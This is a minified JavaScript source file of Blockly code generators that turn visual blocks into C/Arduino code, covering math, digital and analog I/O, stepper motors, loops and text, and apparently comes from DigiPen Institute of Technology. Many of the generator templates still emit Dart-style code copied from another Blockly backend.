" return maxVal;","}"]);b=b+"("+a+")";break;case "AVERAGE":b=Blockly.C.provideFunction_("math_average",["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," // First filter list for numbers only."," List localList = new List.from(myList);"," localList.removeMatching((a) => a is! num);"," if (localList.isEmpty) return null;"," num sumVal = 0;"," localList.forEach((num entry) {sumVal += entry;});"," return sumVal / localList.length;","}"]);b=b+"("+a+")";break;case "MEDIAN":b=Blockly.C.provideFunction_("math_median",
["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," // First filter list for numbers only, then sort, then return middle value"," // or the average of two middle values if list has an even number of elements."," List localList = new List.from(myList);"," localList.removeMatching((a) => a is! num);"," if (localList.isEmpty) return null;"," localList.sort((a, b) => (a - b));"," int index = localList.length ~/ 2;"," if (localList.length % 2 == 1) {"," return localList[index];",
" } else {"," return (localList[index - 1] + localList[index]) / 2;"," }","}"]);b=b+"("+a+")";break;case "MODE":Blockly.C.definitions_.import_dart_math="#include <math.h>";b=Blockly.C.provideFunction_("math_modes",["List "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List values) {"," List modes = [];"," List counts = [];"," int maxCount = 0;"," for (int i = 0; i < values.length; i++) {"," var value = values[i];"," bool found = false;"," int thisCount;"," for (int j = 0; j < counts.length; j++) {",
" if (counts[j][0] == value) {"," thisCount = ++counts[j][1];"," found = true;"," break;"," }"," }"," if (!found) {"," counts.add([value, 1]);"," thisCount = 1;"," }"," maxCount = Math.max(thisCount, maxCount);"," }"," for (int j = 0; j < counts.length; j++) {"," if (counts[j][1] == maxCount) {"," modes.add(counts[j][0]);"," }"," }"," return modes;","}"]);b=b+"("+a+")";break;case "STD_DEV":Blockly.C.definitions_.import_dart_math=
"#include <math.h>";b=Blockly.C.provideFunction_("math_standard_deviation",["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," // First filter list for numbers only."," List numbers = new List.from(myList);"," numbers.removeMatching((a) => a is! num);"," if (numbers.isEmpty) return null;"," num n = numbers.length;"," num sum = 0;"," numbers.forEach((x) => sum += x);"," num mean = sum / n;"," num sumSquare = 0;"," numbers.forEach((x) => sumSquare += Math.pow(x - mean, 2));",
" return Math.sqrt(sumSquare / n);","}"]);b=b+"("+a+")";break;case "RANDOM":Blockly.C.definitions_.import_dart_math="#include <math.h>";b=Blockly.C.provideFunction_("math_random_item",["dynamic "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," int x = new Math.Random().nextInt(myList.length);"," return myList[x];","}"]);b=b+"("+a+")";break;default:throw"Unknown operator: "+b;}return[b,Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.math_modulo=function(a){var b=Blockly.C.valueToCode(a,"DIVIDEND",Blockly.C.ORDER_MULTIPLICATIVE)||"0";a=Blockly.C.valueToCode(a,"DIVISOR",Blockly.C.ORDER_MULTIPLICATIVE)||"0";return[b+" % "+a,Blockly.C.ORDER_MULTIPLICATIVE]};
Blockly.C.math_constrain=function(a){Blockly.C.definitions_.import_dart_math="#include <math.h>";var b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_NONE)||"0",c=Blockly.C.valueToCode(a,"LOW",Blockly.C.ORDER_NONE)||"0";a=Blockly.C.valueToCode(a,"HIGH",Blockly.C.ORDER_NONE)||"double.INFINITY";return["min(max("+b+", "+c+"), "+a+")",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.math_random_int=function(a){Blockly.C.definitions_.import_dart_math="#include <math.h>";var b=Blockly.C.valueToCode(a,"FROM",Blockly.C.ORDER_NONE)||"0";a=Blockly.C.valueToCode(a,"TO",Blockly.C.ORDER_NONE)||"0";return[Blockly.C.provideFunction_("math_random_int",["int "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(int a, int b) {"," if (a > b) {"," // Swap a and b to ensure a is smaller."," int c = a;"," a = b;"," b = c;"," }"," return (rand() % (b - a)) + a;","}"])+"("+b+", "+a+
")",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.math_random_float=function(a){Blockly.C.definitions_.import_dart_math="#include <math.h>";return["new Math.Random().nextDouble()",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.arduino={};Blockly.C.hardwarestartup_arduino=function(a){a=Blockly.C.statementToCode(a,"do");Blockly.C.definitions_.setup='// Below is the "setup" function. It runs one time as soon as the board turns on. You can add stuff\nvoid setup(){\n'+a+"}\n";return null};Blockly.C.delayseconds=function(a){return"delay("+(Blockly.C.valueToCode(a,"SECONDS",Blockly.C.ORDER_ATOMIC)||"0")+" * 1000);\n"};
Blockly.C.delayms=function(a){return"delay( "+(Blockly.C.valueToCode(a,"MILLISECONDS",Blockly.C.ORDER_ATOMIC)||"0")+" );\n"};Blockly.C.delaymicroseconds=function(a){return"delayMicroseconds( "+(Blockly.C.valueToCode(a,"MICROSECONDS",Blockly.C.ORDER_ATOMIC)||"0")+" );\n"};Blockly.C.seconds=function(a){return["(millis() / 1000)",Blockly.C.ORDER_NONE]};Blockly.C.milliseconds=function(a){return["millis()",Blockly.C.ORDER_NONE]};Blockly.C.microseconds=function(a){return["micros()",Blockly.C.ORDER_NONE]};
Blockly.C.high=function(a){return["HIGH",Blockly.C.ORDER_ATOMIC]};Blockly.C.low=function(a){return["LOW",Blockly.C.ORDER_ATOMIC]};Blockly.C.led_builtin=function(a){return["LED_BUILTIN",Blockly.C.ORDER_ATOMIC]};Blockly.C.pininput=function(a){var b=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)||"0";a=a.getFieldValue("MODE")||"0";return"pinMode("+b+", "+a+");\n"};
Blockly.C.digitalwrite=function(a){var b=a.getFieldValue("VALUE")||"HIGH";return"digitalWrite("+Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)+", "+b+");\n"};Blockly.C.digital_read=function(a){return["digitalRead("+Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.analog_reference=function(a){return"analogReference("+a.getFieldValue("TYPE")+");\n"};
Blockly.C.analog_read=function(a){return["analogRead("+Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.analog_write=function(a){var b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return"analogWrite("+Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)+", "+b+");\n"};
Blockly.C.tone_pin_freq_duration=function(a){var b=Blockly.C.valueToCode(a,"FREQUENCY",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"DURATION",Blockly.C.ORDER_ATOMIC);return"tone("+c+", "+b+", "+a+");\n"};Blockly.C.tone_pin_freq=function(a){var b=Blockly.C.valueToCode(a,"FREQUENCY",Blockly.C.ORDER_ATOMIC)||"0";return"tone("+(Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)||"0")+", "+b+");\n"};
Blockly.C.advanced_io_pulse_in=function(a){var b=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC);a=a.getFieldValue("VALUE");return["pulseIn("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.advanced_io_pulse_in_timeout=function(a){var b=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"TIMEOUT",Blockly.C.ORDER_ATOMIC)||"0";a=a.getFieldValue("VALUE");return["pulseIn("+b+", "+a+", "+c+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.advanced_io_pulse_in_long=function(a){var b=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)||"0";a=a.getFieldValue("VALUE");return["pulseInLong("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.advanced_io_pulse_in_long_timeout=function(a){var b=Blockly.C.valueToCode(a,"PIN",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"TIMEOUT",Blockly.C.ORDER_ATOMIC)||"0";a=a.getFieldValue("VALUE");return["pulseInLong("+b+", "+a+", "+c+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.advanced_io_shift_in=function(a){var b=Blockly.C.valueToCode(a,"DATA_PIN",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"CLOCK_PIN",Blockly.C.ORDER_ATOMIC)||"0";a=a.getFieldValue("BIT_ORDER");return["shiftIn("+b+", "+c+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.advanced_io_shift_out=function(a){var b=Blockly.C.valueToCode(a,"DATA_PIN",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"CLOCK_PIN",Blockly.C.ORDER_ATOMIC)||"0",d=a.getFieldValue("BIT_ORDER");a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC)||"0";return["shiftOut("+b+", "+c+", "+d+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.random_seed=function(a){return"randomSeed("+Blockly.C.valueToCode(a,"SEED",Blockly.C.ORDER_ATOMIC)+");\n"};
Blockly.C.random=function(a){var b=Blockly.C.valueToCode(a,"MIN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"MAX",Blockly.C.ORDER_ATOMIC);return["random("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_random_seed=function(a){return"randomSeed("+Blockly.C.valueToCode(a,"SEED",Blockly.C.ORDER_ATOMIC)+");\n"};
Blockly.C.arduino_random=function(a){var b=Blockly.C.valueToCode(a,"MIN",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"MAX",Blockly.C.ORDER_ATOMIC);return["random("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.arduino_srand=function(a){return"srand("+Blockly.C.valueToCode(a,"SEED",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.bit=function(a){return["bit("+Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.bit_clear=function(a){var b=Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"POSITION",Blockly.C.ORDER_ATOMIC);return"bitClear("+b+", "+a+");\n"};Blockly.C.bit_set=function(a){var b=Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"POSITION",Blockly.C.ORDER_ATOMIC);return"bitSet("+b+", "+a+");\n"};
Blockly.C.bit_write=function(a){var b=Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"POSITION",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);return"bitWrite("+b+", "+c+", "+a+");\n"};Blockly.C.bit_read=function(a){var b=Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"POSITION",Blockly.C.ORDER_ATOMIC);return["bitRead("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.high_byte=function(a){return["highByte("+Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.low_byte=function(a){return["lowByte("+Blockly.C.valueToCode(a,"NUMBER",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.arduino_math_map=function(a){var b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"FROM_LOW",Blockly.C.ORDER_ATOMIC),d=Blockly.C.valueToCode(a,"FROM_HIGH",Blockly.C.ORDER_ATOMIC),e=Blockly.C.valueToCode(a,"TO_LOW",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"TO_HIGH",Blockly.C.ORDER_ATOMIC);return["map("+b+", "+c+", "+d+", "+e+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.char_input=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["'"+a.getFieldValue("TEXT")+"'",Blockly.C.ORDER_ATOMIC]};Blockly.C.char_to_lower=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["tolower("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_to_upper=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["toupper("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_alnum=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isalnum("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_is_alpha=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isalpha("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_cntrl=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["iscntrl("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_is_digit=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isdigit("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_graph=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isgraph("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_is_lower=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["islower("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_print=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isprint("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_is_punct=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["ispunct("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_space=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isspace("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};
Blockly.C.char_is_upper=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isupper("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};Blockly.C.char_is_xdigit=function(a){Blockly.C.definitions_.import_c_type="#include <ctype.h>";return["isxdigit("+Blockly.C.valueToCode(a,"CHAR",Blockly.C.ORDER_ATOMIC)+")",Blockly.C.ORDER_FUNCTION_CALL]};/*
DigiPen Institute of Technology 2018
*/
Blockly.C.comments={};Blockly.C.comment_oneline=function(a){return"// "+a.getFieldValue("TEXT")+"\n"};Blockly.C.colour={};Blockly.C.addReservedWords("Math");Blockly.C.colour_picker=function(a){return["'"+a.getFieldValue("COLOUR")+"'",Blockly.C.ORDER_ATOMIC]};
Blockly.C.colour_random=function(a){Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;";return[Blockly.C.provideFunction_("colour_random",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"() {"," String hex = '0123456789abcdef';"," var rnd = new Math.Random();"," return '#${hex[rnd.nextInt(16)]}${hex[rnd.nextInt(16)]}'"," '${hex[rnd.nextInt(16)]}${hex[rnd.nextInt(16)]}'"," '${hex[rnd.nextInt(16)]}${hex[rnd.nextInt(16)]}';","}"])+"()",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.colour_rgb=function(a){var b=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_NONE)||0,c=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_NONE)||0;a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_NONE)||0;Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;";return[Blockly.C.provideFunction_("colour_rgb",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(num r, num g, num b) {"," num rn = (Math.max(Math.min(r, 1), 0) * 255).round();"," String rs = rn.toInt().toRadixString(16);",
" rs = '0$rs';"," rs = rs.substring(rs.length - 2);"," num gn = (Math.max(Math.min(g, 1), 0) * 255).round();"," String gs = gn.toInt().toRadixString(16);"," gs = '0$gs';"," gs = gs.substring(gs.length - 2);"," num bn = (Math.max(Math.min(b, 1), 0) * 255).round();"," String bs = bn.toInt().toRadixString(16);"," bs = '0$bs';"," bs = bs.substring(bs.length - 2);"," return '#$rs$gs$bs';","}"])+"("+b+", "+c+", "+a+")",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.colour_blend=function(a){var b=Blockly.C.valueToCode(a,"COLOUR1",Blockly.C.ORDER_NONE)||"'#000000'",c=Blockly.C.valueToCode(a,"COLOUR2",Blockly.C.ORDER_NONE)||"'#000000'";a=Blockly.C.valueToCode(a,"RATIO",Blockly.C.ORDER_NONE)||.5;Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;";return[Blockly.C.provideFunction_("colour_blend",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(String c1, String c2, num ratio) {"," ratio = Math.max(Math.min(ratio, 1), 0);"," int r1 = int.parse('0x${c1.substring(1, 3)}');",
" int g1 = int.parse('0x${c1.substring(3, 5)}');"," int b1 = int.parse('0x${c1.substring(5, 7)}');"," int r2 = int.parse('0x${c2.substring(1, 3)}');"," int g2 = int.parse('0x${c2.substring(3, 5)}');"," int b2 = int.parse('0x${c2.substring(5, 7)}');"," num rn = (r1 * (1 - ratio) + r2 * ratio).round();"," String rs = rn.toInt().toRadixString(16);"," num gn = (g1 * (1 - ratio) + g2 * ratio).round();"," String gs = gn.toInt().toRadixString(16);"," num bn = (b1 * (1 - ratio) + b2 * ratio).round();",
" String bs = bn.toInt().toRadixString(16);"," rs = '0$rs';"," rs = rs.substring(rs.length - 2);"," gs = '0$gs';"," gs = gs.substring(gs.length - 2);"," bs = '0$bs';"," bs = bs.substring(bs.length - 2);"," return '#$rs$gs$bs';","}"])+"("+b+", "+c+", "+a+")",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.arduino_stepper={};
Blockly.C.stepper=function(a){Blockly.C.definitions_.include_stepper="#include <Stepper.h>";var b=Blockly.C.valueToCode(a,"STEPS",Blockly.C.ORDER_ATOMIC),c=Blockly.C.valueToCode(a,"PIN1",Blockly.C.ORDER_ATOMIC),d=Blockly.C.valueToCode(a,"PIN2",Blockly.C.ORDER_ATOMIC),e=Blockly.C.valueToCode(a,"PIN3",Blockly.C.ORDER_ATOMIC);a=Blockly.C.valueToCode(a,"PIN4",Blockly.C.ORDER_ATOMIC);Blockly.C.definitions_.stepper_create="Stepper stepper = Stepper("+b+","+c+","+d+","+e+","+a+");\n";return""};
Blockly.C.stepper_set_speed=function(a){Blockly.C.definitions_.include_stepper="#include <Stepper.h>";return"stepper.setSpeed("+Blockly.C.valueToCode(a,"SPEED",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.stepper_steps=function(a){Blockly.C.definitions_.include_stepper="#include <Stepper.h>";Blockly.C.valueToCode(a,"STEPPER",Blockly.C.ORDER_ATOMIC);return"stepper.step("+Blockly.C.valueToCode(a,"STEPS",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.loops={};
Blockly.C.controls_repeat_ext=function(a){var b=a.getField("TIMES")?String(Number(a.getFieldValue("TIMES"))):Blockly.C.valueToCode(a,"TIMES",Blockly.C.ORDER_ASSIGNMENT)||"0",c=Blockly.C.statementToCode(a,"DO");c=Blockly.C.addLoopTrap(c,a.id);a="";var d=Blockly.C.variableDB_.getDistinctName("count",Blockly.Variables.NAME_TYPE),e=b;b.match(/^\w+$/)||Blockly.isNumber(b)||(e=Blockly.C.variableDB_.getDistinctName("repeat_end",Blockly.Variables.NAME_TYPE),a+="int "+e+" = "+b+";\n");return a+("for (int "+
d+" = 0; "+d+" < "+e+"; "+d+"++) {\n"+c+"}\n")};Blockly.C.controls_repeat=Blockly.C.controls_repeat_ext;Blockly.C.controls_whileUntil=function(a){var b="UNTIL"==a.getFieldValue("MODE"),c=Blockly.C.valueToCode(a,"BOOL",b?Blockly.C.ORDER_UNARY_PREFIX:Blockly.C.ORDER_NONE)||"false",d=Blockly.C.statementToCode(a,"DO");d=Blockly.C.addLoopTrap(d,a.id);b&&(c="!"+c);return"while ("+c+") {\n"+d+"}\n"};
Blockly.C.controls_for=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE),c=Blockly.C.valueToCode(a,"FROM",Blockly.C.ORDER_ASSIGNMENT)||"0",d=Blockly.C.valueToCode(a,"TO",Blockly.C.ORDER_ASSIGNMENT)||"0",e=Blockly.C.valueToCode(a,"BY",Blockly.C.ORDER_ASSIGNMENT)||"1",f=Blockly.C.statementToCode(a,"DO");f=Blockly.C.addLoopTrap(f,a.id);if(Blockly.isNumber(c)&&Blockly.isNumber(d)&&Blockly.isNumber(e)){var g=parseFloat(c)<=parseFloat(d);a="for ("+b+" = "+
c+"; "+b+(g?" <= ":" >= ")+d+"; "+b;b=Math.abs(parseFloat(e));a=(1==b?a+(g?"++":"--"):a+((g?" += ":" -= ")+b))+(") {\n"+f+"}\n")}else a="",g=c,c.match(/^\w+$/)||Blockly.isNumber(c)||(g=Blockly.C.variableDB_.getDistinctName(b+"_start",Blockly.Variables.NAME_TYPE),a+="int "+g+" = "+c+";\n"),c=d,d.match(/^\w+$/)||Blockly.isNumber(d)||(c=Blockly.C.variableDB_.getDistinctName(b+"_end",Blockly.Variables.NAME_TYPE),a+="int "+c+" = "+d+";\n"),d=Blockly.C.variableDB_.getDistinctName(b+"_inc",Blockly.Variables.NAME_TYPE),
a+="int "+d+" = ",a=Blockly.isNumber(e)?a+(Math.abs(e)+";\n"):a+("("+e+").abs();\n"),a=a+("if ("+g+" > "+c+") {\n")+(Blockly.C.INDENT+d+" = -"+d+";\n"),a+="}\n",a+="for ("+b+" = "+g+";\n "+d+" >= 0 ? "+b+" <= "+c+" : "+b+" >= "+c+";\n "+b+" += "+d+") {\n"+f+"}\n";return a};
Blockly.C.controls_forEach=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE),c=Blockly.C.valueToCode(a,"LIST",Blockly.C.ORDER_ASSIGNMENT)||"std::list()",d=Blockly.C.statementToCode(a,"DO");d=Blockly.C.addLoopTrap(d,a.id);return"for (auto "+b+" : "+c+") {\n"+d+"}\n"};Blockly.C.controls_flow_statements=function(a){switch(a.getFieldValue("FLOW")){case "BREAK":return"break;\n";case "CONTINUE":return"continue;\n"}throw"Unknown flow statement.";};/*
( All content copyright DigiPen Institute of Technology 2016
*/
Blockly.C.texts={};Blockly.C.addReservedWords("Html,Math");Blockly.C.text=function(a){return[Blockly.C.quote_(a.getFieldValue("TEXT")),Blockly.C.ORDER_ATOMIC]};
Blockly.C.text_join=function(a){if(0==a.itemCount_)return["''",Blockly.C.ORDER_ATOMIC];if(1==a.itemCount_)return[(Blockly.C.valueToCode(a,"ADD0",Blockly.C.ORDER_UNARY_POSTFIX)||"''")+".toString()",Blockly.C.ORDER_UNARY_POSTFIX];var b=Array(a.itemCount_);for(var c=0;c<a.itemCount_;c++)b[c]=Blockly.C.valueToCode(a,"ADD"+c,Blockly.C.ORDER_NONE)||"''";b="["+b.join(",")+"].join()";return[b,Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.text_append=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE);a=Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_UNARY_POSTFIX)||"''";return b+" = ["+b+", "+a+"].join();\n"};Blockly.C.text_length=function(a){return["strlen( "+(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||'""')+" )",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.text_isEmpty=function(a){return[(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"''")+".isEmpty",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.text_indexOf=function(a){var b="FIRST"==a.getFieldValue("END")?"indexOf":"lastIndexOf",c=Blockly.C.valueToCode(a,"FIND",Blockly.C.ORDER_NONE)||"''";return[(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"''")+"."+b+"("+c+") + 1",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.text_charAt=function(a){var b=a.getFieldValue("WHERE")||"FROM_START",c=Blockly.C.valueToCode(a,"AT",Blockly.C.ORDER_NONE)||"1";a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"''";switch(b){case "FIRST":return[a+"[0]",Blockly.C.ORDER_UNARY_POSTFIX];case "FROM_START":return c=c.match(/^-?\d+$/)?parseInt(c,10)-1:c+" - 1",[a+"["+c+"]",Blockly.C.ORDER_UNARY_POSTFIX];case "LAST":c=1;case "FROM_END":return b=Blockly.C.provideFunction_("text_get_from_end",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+
"(String text, num x) {"," return text[text.length - x];","}"]),[b+"("+a+", "+c+")",Blockly.C.ORDER_UNARY_POSTFIX];case "RANDOM":return Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;",b=Blockly.C.provideFunction_("text_random_letter",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(String text) {"," int x = new Math.Random().nextInt(text.length);"," return text[x];","}"]),[b+"("+a+")",Blockly.C.ORDER_UNARY_POSTFIX]}throw"Unhandled option (text_charAt).";};
Blockly.C.text_getSubstring=function(a){var b=Blockly.C.valueToCode(a,"STRING",Blockly.C.ORDER_UNARY_POSTFIX)||"''",c=a.getFieldValue("WHERE1"),d=a.getFieldValue("WHERE2"),e=Blockly.C.valueToCode(a,"AT1",Blockly.C.ORDER_NONE)||"1";a=Blockly.C.valueToCode(a,"AT2",Blockly.C.ORDER_NONE)||"1";return["FIRST"==c&&"LAST"==d?b:Blockly.C.provideFunction_("text_get_substring",["function "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(text, where1, at1, where2, at2) {"," function getAt(where, at) {"," if (where == 'FROM_START') {",
" at--;"," } else if (where == 'FROM_END') {"," at = text.length - at;"," } else if (where == 'FIRST') {"," at = 0;"," } else if (where == 'LAST') {"," at = text.length - 1;"," } else {"," throw 'Unhandled option (text_getSubstring).';"," }"," return at;"," }"," at1 = getAt(where1, at1);"," at2 = getAt(where2, at2) + 1;"," return text.substring(at1, at2);","}"])+"("+b+", '"+c+"', "+e+", '"+d+"', "+a+")",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.text_changeCase=function(a){var b={UPPERCASE:".toUpperCase()",LOWERCASE:".toLowerCase()",TITLECASE:null}[a.getFieldValue("CASE")];b?(a=Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_UNARY_POSTFIX)||"''",a+=b):(b=Blockly.C.provideFunction_("text_toTitleCase",["String "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(String str) {"," RegExp exp = new RegExp(r'\\b');"," List<String> list = str.split(exp);"," final title = new StringBuffer();"," for (String part in list) {"," if (part.length > 0) {",
" title.write(part[0].toUpperCase());"," if (part.length > 0) {"," title.write(part.substring(1).toLowerCase());"," }"," }"," }"," return title.toString();","}"]),a=Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_NONE)||"''",a=b+"("+a+")");return[a,Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.text_trim=function(a){var b={LEFT:".replaceFirst(new RegExp(r'^\\s+'), '')",RIGHT:".replaceFirst(new RegExp(r'\\s+$'), '')",BOTH:".trim()"}[a.getFieldValue("MODE")];return[(Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_UNARY_POSTFIX)||"''")+b,Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.text_print=function(a){return"print("+(Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_NONE)||"''")+");\n"};
Blockly.C.text_prompt_ext=function(a){Blockly.C.definitions_.import_dart_html="import 'dart:html' as Html;";var b="Html.window.prompt("+(a.getField("TEXT")?Blockly.C.quote_(a.getFieldValue("TEXT")):Blockly.C.valueToCode(a,"TEXT",Blockly.C.ORDER_NONE)||"''")+", '')";"NUMBER"==a.getFieldValue("TYPE")&&(Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;",b="Math.parseDouble("+b+")");return[b,Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.text_prompt=Blockly.C.text_prompt_ext;
